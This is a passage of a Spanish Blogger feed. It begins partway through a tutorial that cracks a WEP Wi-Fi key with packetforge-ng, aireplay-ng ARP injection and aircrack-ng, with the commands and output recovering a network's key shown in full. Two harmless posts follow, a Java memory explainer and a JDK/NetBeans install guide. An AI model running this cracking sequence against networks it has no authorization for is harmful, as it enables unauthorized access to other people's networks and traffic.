rgb(51, 255, 51);"&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;root@computer:/home/delfi#&lt;/span&gt; packetforge-ng -0 -a 64:16:F0:31:68:CD -h 00:C0:CA:40:B8:3E -k 255.255.255.255 -l 255.255.255.255 -yreplay_dec-1130-030713.xor -w ARP&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Wrote packet to: ARP&lt;/code&gt;&lt;/pre&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-kNOPAihccjI/TtaVsPslWwI/AAAAAAAABX8/MBsxC1Nxbjc/s1600/packetforge.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 57px;" src="http://2.bp.blogspot.com/-kNOPAihccjI/TtaVsPslWwI/AAAAAAAABX8/MBsxC1Nxbjc/s400/packetforge.png" alt="" id="BLOGGER_PHOTO_ID_5680892567334771458" border="0" /&gt;&lt;/a&gt;Ahora la inyección del paquete ARP.&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;root@computer:/home/delfi#&lt;/span&gt; aireplay-ng -2 -r ARP mon0&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;No source MAC (-h) specified. Using the device MAC (00:C0:CA:40:B8:3E)&lt;br /&gt;Size: 68, FromDS: 0, ToDS: 1 (WEP)&lt;br /&gt;&lt;br /&gt;    BSSID  =  64:16:F0:31:68:CD&lt;br /&gt;Dest. MAC  =  FF:FF:FF:FF:FF:FF&lt;br /&gt;Source MAC  =  00:C0:CA:40:B8:3E&lt;br /&gt;&lt;br /&gt;0x0000:  0841 0201 6416 f031 68cd 00c0 ca40 b83e  .A..d..1h....@.&amp;gt;&lt;br /&gt;0x0010:  ffff ffff ffff 8001 e15e 4800 224d e95a  .........^H."M.Z&lt;br /&gt;0x0020:  f191 7a11 d7fc 4150 e0c1 d7ff 73c2 1baf  ..z...AP....s...&lt;br /&gt;0x0030:  f4c1 6cda ca12 59c2 4b07 2917 1f63 037d  ..l...Y.K.)..c.}&lt;br /&gt;0x0040:  2df5 fa27                                -..'&lt;br /&gt;&lt;br /&gt;Use this packet ? y&lt;br /&gt;&lt;br /&gt;Saving chosen packet in replay_src-1130-030729.cap&lt;br /&gt;You should also start airodump-ng to capture replies.&lt;/code&gt;&lt;/pre&gt;Por ultimo, una vez capturado los suficientes #datas, lanzamos aircrack-ng.&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;delfi@computer:~$&lt;/span&gt; aircrack-ng wifikey-01.cap&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Opening wifikey-01.cap&lt;br /&gt;Read 163102 packets.&lt;br /&gt;&lt;br /&gt;#  BSSID              ESSID                     Encryption&lt;br /&gt;&lt;br /&gt;1  64:16:F0:31:68:CD  INFINITUM7449             WEP (25237 IVs)&lt;br /&gt;&lt;br /&gt;Choosing first network as target.&lt;br /&gt;&lt;br /&gt;Opening wifikey-01.cap&lt;br /&gt;Attack will be restarted every 5000 captured ivs.&lt;br /&gt;Starting PTW attack with 25237 ivs.&lt;br /&gt;                                              Aircrack-ng 1.1&lt;br /&gt;&lt;br /&gt;                              [00:00:07] Tested 83141 keys (got 25192 IVs)&lt;br /&gt;&lt;br /&gt;KB    depth   byte(vote)&lt;br /&gt;0    0/  1   37(41728) 47(35840) 3C(34560) EA(33280) 68(32768) 93(32768) 0E(32512) DC(32512) 39(32256)&lt;br /&gt;1   23/ 26   BD(30464) 7F(30208) 9A(30208) BB(30208) BE(30208) C4(30208) 76(29696) B1(29696) D4(29696)&lt;br /&gt;2    0/ 19   61(34560) 16(33536) 2F(33536) ED(33024) 19(33024) EF(32768) 01(32512) 9D(32256) 9E(31488)&lt;br /&gt;3    2/ 25   31(33280) 08(33280) 77(33024) C9(32768) D3(32768) B9(32512) 74(32256) BE(31744) 48(31744)&lt;br /&gt;4    0/  7   63(36096) A2(33024) BB(32512) 51(32512) C6(32256) A4(32000) F5(32000) 07(31744) 1F(31744)&lt;br /&gt;&lt;br /&gt;           KEY FOUND! [ 37:63:61:31:63 ] (ASCII: 7ca1c )&lt;br /&gt;Decrypted correctly: 100%&lt;/code&gt;&lt;/pre&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-1b71vgqDs0I/TtaVMc2oG7I/AAAAAAAABXY/0bWs6w6DuZE/s1600/aircrack-ng_ubuntu11_10.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 160px;" src="http://2.bp.blogspot.com/-1b71vgqDs0I/TtaVMc2oG7I/AAAAAAAABXY/0bWs6w6DuZE/s400/aircrack-ng_ubuntu11_10.png" alt="" id="BLOGGER_PHOTO_ID_5680892021110741938" border="0" /&gt;&lt;/a&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold; color: rgb(255, 153, 0);font-size:130%;" &gt;Video: USB FL-2016G en acción desde Ubuntu 11.10&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;iframe src="http://player.vimeo.com/video/32898388?title=0&amp;amp;byline=0&amp;amp;portrait=0" webkitallowfullscreen="" mozallowfullscreen="" allowfullscreen="" frameborder="0" height="344" width="625"&gt;&lt;/iframe&gt;&lt;p&gt;&lt;a href="http://vimeo.com/32898388"&gt;Cracking WEP con USB FL-2016G en Ubuntu 11.10 (chipset RTL8187)&lt;/a&gt; from &lt;a href="http://vimeo.com/user3144455"&gt;delfirosales&lt;/a&gt; on &lt;a href="http://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;/p&gt;&lt;/div&gt;&lt;span style="font-weight: bold;"&gt;Vídeo Online&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=rFUMPgYkGPM"&gt;http://www.youtube.com/watch?v=rFUMPgYkGPM&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Descargar Vídeo&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.mediafire.com/?a6ord8yzykro1m9"&gt;http://www.mediafire.com/?a6ord8yzykro1m9&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4698096966682789219-188730814244702228?l=delfirosales.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=HzBqspk4YIM:oSB3GElGCzg:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=HzBqspk4YIM:oSB3GElGCzg:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=HzBqspk4YIM:oSB3GElGCzg:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=HzBqspk4YIM:oSB3GElGCzg:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=HzBqspk4YIM:oSB3GElGCzg:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=HzBqspk4YIM:oSB3GElGCzg:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=HzBqspk4YIM:oSB3GElGCzg:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=HzBqspk4YIM:oSB3GElGCzg:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=HzBqspk4YIM:oSB3GElGCzg:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=HzBqspk4YIM:oSB3GElGCzg:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=HzBqspk4YIM:oSB3GElGCzg:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=HzBqspk4YIM:oSB3GElGCzg:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=HzBqspk4YIM:oSB3GElGCzg:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=HzBqspk4YIM:oSB3GElGCzg:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=HzBqspk4YIM:oSB3GElGCzg:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=HzBqspk4YIM:oSB3GElGCzg:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=HzBqspk4YIM:oSB3GElGCzg:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=HzBqspk4YIM:oSB3GElGCzg:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=HzBqspk4YIM:oSB3GElGCzg:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=HzBqspk4YIM:oSB3GElGCzg:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/delfirosales/~4/HzBqspk4YIM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://delfirosales.blogspot.com/feeds/188730814244702228/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4698096966682789219&amp;postID=188730814244702228" title="5 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/188730814244702228?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/188730814244702228?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/delfirosales/~3/HzBqspk4YIM/usb-fl-2016g-con-chipset-rtl8187-en.html" title="USB FL-2016G con chipset RTL8187 en Ubuntu 11.10" /><author><name>Delfi</name><uri>http://www.blogger.com/profile/08332248815774447288</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/-c7dEAhIo6nk/TeUWzwi0AJI/AAAAAAAABLA/8Fp_8xJH6I4/s220/pic.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-mvDFgVzZ7p8/TtaWEKFLoqI/AAAAAAAABYI/-eFnX49DLWY/s72-c/Airodump-ng_Ubuntu11_10.png" height="72" width="72" /><thr:total>5</thr:total><feedburner:origLink>http://delfirosales.blogspot.com/2011/11/usb-fl-2016g-con-chipset-rtl8187-en.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ck4NSHs_fyp7ImA9WhRRFUw.&quot;"><id>tag:blogger.com,1999:blog-4698096966682789219.post-5025422680268349717</id><published>2011-11-28T13:31:00.003-06:00</published><updated>2011-11-28T14:09:59.547-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-28T14:09:59.547-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Programming" /><category scheme="http://www.blogger.com/atom/ns#" term="Java" /><category scheme="http://www.blogger.com/atom/ns#" term="Notas" /><title>Algunos conceptos sobre la Memoria en Java</title><content type="html">&lt;div style="text-align: justify;"&gt;En nuestro &lt;a href="http://delfirosales.blogspot.com/2011/11/usando-la-clase-scanner-para-la-entrada.html"&gt;anterior post&lt;/a&gt;, declaramos las variables valor1, valor2 y suma, en realidad estas variables corresponden a ciertas ubicaciones en la memoria de la computadora. Toda variable declarada tiene un nombre, un tipo, un tamaño y un valor.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;valor1 = entrada.nextInt(); // Lee el primer numero del usuario&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;El numero introducido por el usuario se coloca en una ubicación en memoria a la cual se le asigna el nombre de valor1. Ahora supongamos por ejemplo que el usuario introduce el número 50, la computadora coloca este valor entero en la ubicación valor1, tal como se muestra en la siguiente imagen.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-CVolh_r7NrI/Ts1Thi5FJaI/AAAAAAAAAKk/c1W8L6Qy4Io/s1600/aa.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 260px; height: 97px;" src="http://3.bp.blogspot.com/-CVolh_r7NrI/Ts1Thi5FJaI/AAAAAAAAAKk/c1W8L6Qy4Io/s400/aa.png" alt="" id="BLOGGER_PHOTO_ID_5678286540951070114" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;Ubicación de memoria que muestra el nombre y el valor de la variable valo1&lt;/span&gt;.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Cada vez que se coloca un nuevo valor en una ubicación de memoria, se sustituye al valor anterior en esa ubicación, es decir, el valor anterior se pierde.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;valor2 = entrada.nextInt(); // Lee el segundo numero del usuario&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Ahora supongamos que el usuario introduce el número 75, la computadora coloca este valor entero en la ubicación valor2. Ahora la memoria aparece tal como se muestra en la siguiente imagen.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-p0oNO5LZMRI/Ts1T1P5s51I/AAAAAAAAAK8/yoLXJM8qFSg/s1600/aa2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 259px; height: 130px;" src="http://4.bp.blogspot.com/-p0oNO5LZMRI/Ts1T1P5s51I/AAAAAAAAAK8/yoLXJM8qFSg/s400/aa2.png" alt="" id="BLOGGER_PHOTO_ID_5678286879450785618" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;Ubicación de memoria, después de almacenar los valores para valor1 y valor2.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Una vez que el programa realiza lo anterior, donde obtiene los valores para valor1 y valor2, los suma y coloca el resultado en la variable suma.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;suma = valor1 + valor2; // Suma el valor1 + valor2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Aquí se realiza la suma y después sustituye el valor anterior de suma. Una vez que se calcula la suma, la memoria aparece como se muestra en la siguiente imagen.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-X74fZIp2OkY/Ts1UH1WGPdI/AAAAAAAAALI/1X87qMZSYrU/s1600/aa3.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 349px; height: 159px;" src="http://1.bp.blogspot.com/-X74fZIp2OkY/Ts1UH1WGPdI/AAAAAAAAALI/1X87qMZSYrU/s400/aa3.png" alt="" id="BLOGGER_PHOTO_ID_5678287198739643858" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;Ubicación de memoria, después de almacenar la suma de valor1 y valor2.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Como podemos observar en la imagen, los valores de valor1 y valor2 aparecen exactamente como antes de usarlos en el cálculo de suma. Estos valores se utilizaron, pero no se destruyeron, cuando la computadora realiza el cálculo. Por lo tanto, cuando se lee un valor de una ubicación de memoria el proceso es no destructivo.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4698096966682789219-5025422680268349717?l=delfirosales.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=Vw6FB5fKqfE:JOx93bHm3UU:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=Vw6FB5fKqfE:JOx93bHm3UU:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=Vw6FB5fKqfE:JOx93bHm3UU:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=Vw6FB5fKqfE:JOx93bHm3UU:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=Vw6FB5fKqfE:JOx93bHm3UU:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=Vw6FB5fKqfE:JOx93bHm3UU:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=Vw6FB5fKqfE:JOx93bHm3UU:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=Vw6FB5fKqfE:JOx93bHm3UU:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=Vw6FB5fKqfE:JOx93bHm3UU:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=Vw6FB5fKqfE:JOx93bHm3UU:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=Vw6FB5fKqfE:JOx93bHm3UU:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=Vw6FB5fKqfE:JOx93bHm3UU:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=Vw6FB5fKqfE:JOx93bHm3UU:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=Vw6FB5fKqfE:JOx93bHm3UU:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=Vw6FB5fKqfE:JOx93bHm3UU:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=Vw6FB5fKqfE:JOx93bHm3UU:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=Vw6FB5fKqfE:JOx93bHm3UU:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=Vw6FB5fKqfE:JOx93bHm3UU:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=Vw6FB5fKqfE:JOx93bHm3UU:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=Vw6FB5fKqfE:JOx93bHm3UU:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/delfirosales/~4/Vw6FB5fKqfE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://delfirosales.blogspot.com/feeds/5025422680268349717/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4698096966682789219&amp;postID=5025422680268349717" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/5025422680268349717?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/5025422680268349717?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/delfirosales/~3/Vw6FB5fKqfE/algunos-conceptos-sobre-la-memoria-en.html" title="Algunos conceptos sobre la Memoria en Java" /><author><name>Delfi</name><uri>http://www.blogger.com/profile/08332248815774447288</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/-c7dEAhIo6nk/TeUWzwi0AJI/AAAAAAAABLA/8Fp_8xJH6I4/s220/pic.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-CVolh_r7NrI/Ts1Thi5FJaI/AAAAAAAAAKk/c1W8L6Qy4Io/s72-c/aa.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://delfirosales.blogspot.com/2011/11/algunos-conceptos-sobre-la-memoria-en.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUAEQnY8fCp7ImA9WhRRGUg.&quot;"><id>tag:blogger.com,1999:blog-4698096966682789219.post-6412757727445413326</id><published>2011-11-27T14:49:00.012-06:00</published><updated>2011-12-03T17:08:23.874-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-03T17:08:23.874-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Programming" /><category scheme="http://www.blogger.com/atom/ns#" term="Java" /><category scheme="http://www.blogger.com/atom/ns#" term="JDK" /><category scheme="http://www.blogger.com/atom/ns#" term="GNU/Linux" /><category scheme="http://www.blogger.com/atom/ns#" term="Ubuntu" /><title>Instalación JDK + Netbeans en Ubuntu</title><content type="html">Primero descargamos el JDK + NetBeans desde la siguiente pagina &lt;a href="http://www.oracle.com/technetwork/java/javase/downloads/jdk-7-netbeans-download-432126.html"&gt;http://www.oracle.com/technetwork/java/javase/downloads/jdk-7-netbeans-download-432126.html&lt;/a&gt;. NetBeans es un entorno de desarrollo integrado (IDE) libre, hecho principalmente para el lenguaje de programación Java. En la pagina descargamos el archivo para linux, de nombre jdk-7u1-nb-7_0_1-linux-ml.sh, este archivo contiene el JDK y NetBeans.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Versiones:&lt;/span&gt;&lt;br /&gt;NetBeans versión 7.0.1&lt;br /&gt;Java versión 1.7.0_01&lt;br /&gt;Ubuntu 11.10&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Una vez finalizado la descarga, nos dirigimos desde consola en la ubicación donde tenemos el archivo descargado y realizamos lo siguiente.&lt;/div&gt;&lt;pre&gt;&lt;code&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;chmod a+x jdk-7u1-nb-7_0_1-linux-ml.sh&lt;br /&gt;./jdk-7u1-nb-7_0_1-linux-ml.sh&lt;br /&gt;gedit /etc/bash.bashrc&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;Si en el asistente de instalación lo dejamos todo por defecto (es decir siguiente, siguiente y finalizar) al final del archivo bash.bashrc, agregamos los siguiente.&lt;/div&gt;&lt;pre&gt;&lt;code&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;export JAVA_HOME=/usr/local/jdk1.7.0_01&lt;br /&gt;export NETBEANS_HOME=/usr/local/netbeans-7.0.1&lt;br /&gt;export PATH=$JAVA_HOME/bin:$NETBEANS_HOME/bin:$PATH&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;Una vez realizado este proceso podremos verificar que todo este correcto escribiendo en consola el comando java -version, este comando invoca el compilador de Java y nos muestra la version de Java instalado.&lt;/div&gt;&lt;pre&gt;&lt;code&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;root@computer:/home/delfi# java -versión&lt;br /&gt;java version "1.7.0_01"&lt;br /&gt;Java(TM) SE Runtime Environment (build 1.7.0_01-b08)&lt;br /&gt;Java HotSpot(TM) Server VM (build 21.1-b02, mixed mode)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;Lo anterior comprueba que tenemos instalado Java correctamente y esta listo para escribir y compilar código Java desde nuestro Ubuntu. Si no sale lo anterior es necesario que tengamos que reiniciar nuestro equipo.&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-w36G9gCTbW0/TtKi9KDvi-I/AAAAAAAABXA/LI04mZeNbNM/s1600/JDK_NetBeans_Ubuntu.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 225px;" src="http://4.bp.blogspot.com/-w36G9gCTbW0/TtKi9KDvi-I/AAAAAAAABXA/LI04mZeNbNM/s400/JDK_NetBeans_Ubuntu.png" alt="" id="BLOGGER_PHOTO_ID_5679781251623390178" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4698096966682789219-6412757727445413326?l=delfirosales.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=OB9As94pQ-c:DxfFjzjUXnc:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=OB9As94pQ-c:DxfFjzjUXnc:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=OB9As94pQ-c:DxfFjzjUXnc:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=OB9As94pQ-c:DxfFjzjUXnc:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=OB9As94pQ-c:DxfFjzjUXnc:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=OB9As94pQ-c:DxfFjzjUXnc:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=OB9As94pQ-c:DxfFjzjUXnc:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=dnMXMwOfBR0" 